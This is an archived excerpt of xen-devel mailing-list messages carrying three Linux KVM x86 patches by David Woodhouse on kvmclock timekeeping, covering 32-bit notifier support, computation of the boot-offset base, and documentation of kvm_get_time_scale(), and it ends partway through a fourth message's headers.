Received: by outflank-mailman (input) for mailman id 1353766;
 Fri, 03 Jul 2026 21:22:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKx-000876-Gu
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKw-00A7vt-U1; Fri, 03 Jul 2026 23:22:14 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a482804-e002-0a2a0a5209dd-0a2a4506d606-2
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:14 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a482806-08de-0a2a45060019-5a9b3222ce6e-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:14 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKW-0000000AsY2-1TLA; Fri, 03 Jul 2026 21:21:48 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROP-12v9;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=s+7qUlbLcb8dcHIU9yxWWuYHzICS9PPJgOOAoGyBp5o=; b=HPj7neF/edX8jbo/JX8quja682
	cEZuozcFmVKIQrBdJlzohG2fuYYQuNFcycqs5FWy96RgLuuCtsgPNENsXWM1BtzCtDYj1EbxULEiz
	FLnDUQn4MBs3GFp1PKN0NeVRrmqEWCnvYXdjIEPT0PPSKKwX+xlLnZfg37I9KK8Dp8hRsppgYkT8k
	sJz+4rBN3tgwri8rHwondVAyaMDPbqxGfNKNT1Mf5ShXTpgoE/LlIqlFF0q2ledbnIuzB0Z2Y/oK4
	bMTCbCB/sTsOzQyuyvF7zwSQ3/zygcdDmM/tQILbMrqw5OpyejMR+PvuyewpDD3JmZASo2/07mat4
	e/rL9FOw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 10/36] KVM: x86: Avoid NTP frequency skew for KVM clock on 32-bit host
Date: Fri,  3 Jul 2026 22:17:49 +0100
Message-ID: <20260703212145.343527-11-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-16d1c6/1783113734-4292368D-96F22E46/0/0
X-purgate-type: clean
X-purgate-size: 3670

From: David Woodhouse <dwmw@amazon.co.uk>

Commit 53fafdbb8b21 ("KVM: x86: switch KVMCLOCK base to monotonic raw
clock") did so only for 64-bit hosts, by capturing the boot offset from
within the existing clocksource notifier update_pvclock_gtod().

That notifier was added in commit 16e8d74d2da9 ("KVM: x86: notifier for
clocksource changes") but only on x86_64, because its original purpose
was just to disable the "master clock" mode which is only supported on
x86_64.

Now that the notifier is used for more than disabling master clock mode,
enable it for the 32-bit build too so that get_kvmclock_base_ns() can be
unaffected by NTP sync on 32-bit too.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 26b4649dfb94..21603feb44c5 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2342,7 +2342,6 @@ static int do_set_msr(struct kvm_vcpu *vcpu, unsigned index, u64 *data)
 	return kvm_set_msr_ignored_check(vcpu, index, *data, true);
 }
 
-#ifdef CONFIG_X86_64
 struct pvclock_clock {
 	int vclock_mode;
 	u64 cycle_last;
@@ -2400,13 +2399,6 @@ static s64 get_kvmclock_base_ns(void)
 	/* Count up from boot time, but with the frequency of the raw clock.  */
 	return ktime_to_ns(ktime_add(ktime_get_raw(), pvclock_gtod_data.offs_boot));
 }
-#else
-static s64 get_kvmclock_base_ns(void)
-{
-	/* Master clock not used, so we can just use CLOCK_BOOTTIME.  */
-	return ktime_get_boottime_ns();
-}
-#endif
 
 static void kvm_write_wall_clock(struct kvm *kvm, gpa_t wall_clock, int sec_hi_ofs)
 {
@@ -10184,6 +10176,7 @@ static void pvclock_irq_work_fn(struct irq_work *w)
 }
 
 static DEFINE_IRQ_WORK(pvclock_irq_work, pvclock_irq_work_fn);
+#endif
 
 /*
  * Notification about pvclock gtod data update.
@@ -10191,26 +10184,26 @@ static DEFINE_IRQ_WORK(pvclock_irq_work, pvclock_irq_work_fn);
 static int pvclock_gtod_notify(struct notifier_block *nb, unsigned long unused,
 			       void *priv)
 {
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
 	struct timekeeper *tk = priv;
 
 	update_pvclock_gtod(tk);
 
+#ifdef CONFIG_X86_64
 	/*
 	 * Disable master clock if host does not trust, or does not use,
 	 * TSC based clocksource. Delegate queue_work() to irq_work as
 	 * this is invoked with tk_core.seq write held.
 	 */
-	if (!gtod_is_based_on_tsc(gtod->clock.vclock_mode) &&
+	if (!gtod_is_based_on_tsc(pvclock_gtod_data.clock.vclock_mode) &&
 	    atomic_read(&kvm_guest_has_master_clock) != 0)
 		irq_work_queue(&pvclock_irq_work);
+#endif
 	return 0;
 }
 
 static struct notifier_block pvclock_gtod_notifier = {
 	.notifier_call = pvclock_gtod_notify,
 };
-#endif
 
 void kvm_setup_xss_caps(void)
 {
@@ -10399,9 +10392,9 @@ int kvm_x86_vendor_init(struct kvm_x86_init_ops *ops)
 
 	if (pi_inject_timer == -1)
 		pi_inject_timer = housekeeping_enabled(HK_TYPE_TIMER);
-#ifdef CONFIG_X86_64
 	pvclock_gtod_register_notifier(&pvclock_gtod_notifier);
 
+#ifdef CONFIG_X86_64
 	if (hypervisor_is_type(X86_HYPER_MS_HYPERV))
 		set_hv_tscchange_cb(kvm_hyperv_tsc_notifier);
 #endif
@@ -10458,8 +10451,8 @@ void kvm_x86_vendor_exit(void)
 					    CPUFREQ_TRANSITION_NOTIFIER);
 		cpuhp_remove_state_nocalls(CPUHP_AP_X86_KVM_CLK_ONLINE);
 	}
-#ifdef CONFIG_X86_64
 	pvclock_gtod_unregister_notifier(&pvclock_gtod_notifier);
+#ifdef CONFIG_X86_64
 	irq_work_sync(&pvclock_irq_work);
 	cancel_work_sync(&pvclock_gtod_work);
 #endif
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353776.1609582 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflL6-00013V-0G; Fri, 03 Jul 2026 21:22:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353776.1609582; Fri, 03 Jul 2026 21:22:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflL5-00012A-QH; Fri, 03 Jul 2026 21:22:23 +0000
Received: by outflank-mailman (input) for mailman id 1353776;
 Fri, 03 Jul 2026 21:22:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflL4-0000qR-B0
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflL3-00BXCb-O9; Fri, 03 Jul 2026 23:22:21 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a48279b-2eae-0a2a0a5409dd-0a2a45019e62-30
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:21 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a48280d-400f-0a2a45010019-5a9b3222d726-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:21 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYP-3AaT; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RQ2-2bjR;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=O/oUbS7kYPJiTQjk6lyYh7lx0CQJ2SSehd3aLwyJ2+s=; b=aeZWxhF7AsGk3HBJM42jxJ3/G5
	41bAnL10ZxObpBizC6FNpkO2Xhx7SLTdkscJ8MKF5yDV47DW5K+0Rw52xwDwbc1v5Xr6MFbnNaTIv
	fMmGadiIUz9/bFMDHwx0xHflvuT1vZtuOSFpAKCF3QT2vzA8bXyzcVb4uDPgzNPhaOjGPB/vOO/IA
	loTUM/AxnKgV+4Vvn7XmBqxGyMwOCoM+b1mH5d8sGRjOgY1ASOuzE7uJuQuuP+lcgT+aChKij4fAP
	gHIMwiL9H7nnCcslwip0AW7fSsC5uwRS4Eu3HetQtUtYTjnz0/Qt9luFtpmls6AGa86HRk5vBEFwt
	e062+P2A==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 33/36] KVM: x86: Compute kvmclock base without pvclock_gtod_data
Date: Fri,  3 Jul 2026 22:18:12 +0100
Message-ID: <20260703212145.343527-34-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1783113741-80AD11E0-32343D7B/0/0
X-purgate-type: clean
X-purgate-size: 1092

From: David Woodhouse <dwmw@amazon.co.uk>

get_kvmclock_base_ns() needs CLOCK_MONOTONIC_RAW + offs_boot. Compute
this directly rather than reading offs_boot from the pvclock_gtod_data
private copy. offs_boot only changes at suspend/resume so does not
need to be atomically paired with the raw clock read.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro:claude-opus-4.6-1m
---
 arch/x86/kvm/x86.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 56afd5e66c06..8d520bfae089 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2402,7 +2402,7 @@ static void update_pvclock_gtod(struct timekeeper *tk)
 static s64 get_kvmclock_base_ns(void)
 {
 	/* Count up from boot time, but with the frequency of the raw clock.  */
-	return ktime_to_ns(ktime_add(ktime_get_raw(), pvclock_gtod_data.offs_boot));
+	return ktime_to_ns(ktime_mono_to_any(ktime_get_raw(), TK_OFFS_BOOT));
 }
 
 static void kvm_write_wall_clock(struct kvm *kvm, gpa_t wall_clock, int sec_hi_ofs)
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353875.1609590 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflM6-0004RW-Er; Fri, 03 Jul 2026 21:23:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353875.1609590; Fri, 03 Jul 2026 21:23:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflM6-0004RP-Bk; Fri, 03 Jul 2026 21:23:26 +0000
Received: by outflank-mailman (input) for mailman id 1353875;
 Fri, 03 Jul 2026 21:23:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflM4-0004QN-ON
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflM4-00CejO-5F; Fri, 03 Jul 2026 23:23:24 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482835-bab6-0a2a0a5309dd-0a2a45038b46-12
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:23 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48284a-ec1a-0a2a45030019-5a9b5cc7ce42-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:23 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKY-000000059O6-1xMF; Fri, 03 Jul 2026 21:23:04 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROv-2yUi;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=ydNYanTzV+rXuDAMNzpsQ17TnZayvJkNqhFCKKMsQXQ=; b=oMsIAx+viNMO768Fm1dQ1GGaQK
	HXvg0RdzbGgsuyU4XEvhoMXSxjNjkwu5TbIxHkRRwfGkDZDe1Z4U8tJ6GLT0QO2ULe44BAftyOTbv
	aaFsMl9pLEPIW5nhCurlLhDQSFXMAlkIcVYGkGjlWSmASd1UGSg+vCw8weRL+ou3XrY8d/8LuRSbC
	8/jZsf0YPkPlj4c1U57Nd8tJI6vJbUxLgJg9kHdwnvj/OHA4wyNNua2tIyY/ICjN9qfYH4GiS+luu
	QIUIDYxtlqNIQmClLOA15ZhWTJa5IvVzPxSBFxY7cLYtioKEIJgJcJE9Uoy0dATamc19dnoF+0clO
	wIaVaSdg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 17/36] KVM: x86: Simplify and comment kvm_get_time_scale()
Date: Fri,  3 Jul 2026 22:17:56 +0100
Message-ID: <20260703212145.343527-18-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1783113803-0652F5D1-4893E3B8/0/0
X-purgate-type: clean
X-purgate-size: 3197

From: David Woodhouse <dwmw@amazon.co.uk>

The kvm_get_time_scale() function was entirely opaque. Add comments
explaining what it does: compute a fixed-point multiplier and shift for
converting TSC ticks to nanoseconds via pvclock_scale_delta().

Rename the local variables from the cryptic tps64/tps32/scaled64 to
base_hz_u64/base32/scaled_hz_u64 to make the code self-documenting.
The "tps32" name stood for "Ticks Per Second" but was misleading since
it held the shifted base frequency, not a tick count.

No functional change.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/x86.c | 55 +++++++++++++++++++++++++++++++++-------------
 1 file changed, 40 insertions(+), 15 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 9dc4213f0fa5..0087ddd08e83 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2472,32 +2472,57 @@ static uint32_t div_frac(uint32_t dividend, uint32_t divisor)
 	return dividend;
 }
 
-static void kvm_get_time_scale(uint64_t scaled_hz, uint64_t base_hz,
+static void kvm_get_time_scale(u64 scaled_hz, u64 base_hz,
 			       s8 *pshift, u32 *pmultiplier)
 {
-	uint64_t scaled64;
-	int32_t  shift = 0;
-	uint64_t tps64;
-	uint32_t tps32;
+	u64 scaled_hz_u64 = scaled_hz;
+	s32 shift = 0;
+	u64 base_hz_u64;
+	u32 base32;
 
-	tps64 = base_hz;
-	scaled64 = scaled_hz;
-	while (tps64 > scaled64*2 || tps64 & 0xffffffff00000000ULL) {
-		tps64 >>= 1;
+	/*
+	 * This function calculates a fixed-point multiplier and shift such
+	 * that:
+	 *   time_ns = (tsc_cycles << shift) * multiplier >> 32
+	 *
+	 * Where tsc_cycles tick at base_hz, and time_ns should count at
+	 * scaled_hz (typically NSEC_PER_SEC for a TSCâ†’nanoseconds conversion).
+	 *
+	 * The multiplier is: (scaled_hz << 32) / base_hz, adjusted by shift
+	 * to keep everything in range.
+	 */
+
+	base_hz_u64 = base_hz;
+
+	/*
+	 * Start by shifting base_hz right until it fits in 32 bits, and
+	 * is lower than double the target rate. This introduces a negative
+	 * shift value which would result in pvclock_scale_delta() shifting
+	 * the actual tick count right before performing the multiplication.
+	 */
+	while (base_hz_u64 > scaled_hz_u64 * 2 || base_hz_u64 >> 32) {
+		base_hz_u64 >>= 1;
 		shift--;
 	}
 
-	tps32 = (uint32_t)tps64;
-	while (tps32 <= scaled64 || scaled64 & 0xffffffff00000000ULL) {
-		if (scaled64 & 0xffffffff00000000ULL || tps32 & 0x80000000)
-			scaled64 >>= 1;
+	/* Now the shifted base_hz fits in 32 bits. */
+	base32 = (u32)base_hz_u64;
+
+	/*
+	 * Next, shift scaled_hz right until it fits in 32 bits, and ensure
+	 * that the shifted base_hz is strictly larger (so that the result of the
+	 * final division also fits in 32 bits).
+	 */
+	while (base32 <= scaled_hz_u64 || scaled_hz_u64 >> 32) {
+		if (scaled_hz_u64 >> 32 || base32 & BIT(31))
+			scaled_hz_u64 >>= 1;
 		else
-			tps32 <<= 1;
+			base32 <<= 1;
 		shift++;
 	}
 
 	*pshift = shift;
-	*pmultiplier = div_frac(scaled64, tps32);
+	*pmultiplier = div_frac(scaled_hz_u64, base32);
 }
 
 #ifdef CONFIG_X86_64
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353876.1609596 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflM6-0004Ul-Py; Fri, 03 Jul 2026 21:23:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353876.1609596; Fri, 03 Jul 2026 21:23:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflM6-0004UL-K2; Fri, 03 Jul 2026 21:23:26 +0000
Received: by outflank-mailman (input) for mailman id 1353876;
 Fri, 03 Jul 2026 21:23:25 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflM4-0004QI-El
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflM3-00BXKf-Rt; Fri, 03 Jul 2026 23:23:23 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a4827dc-2eae-0a2a0a5409dd-0a2a4509cd18-38
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:23 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48284a-97e6-0a2a45090019-5a9b5cc7a69c-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:23 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKe-000000059OD-0yjS; Fri, 03 Jul 2026 21:22:53 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPs-2B0E;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
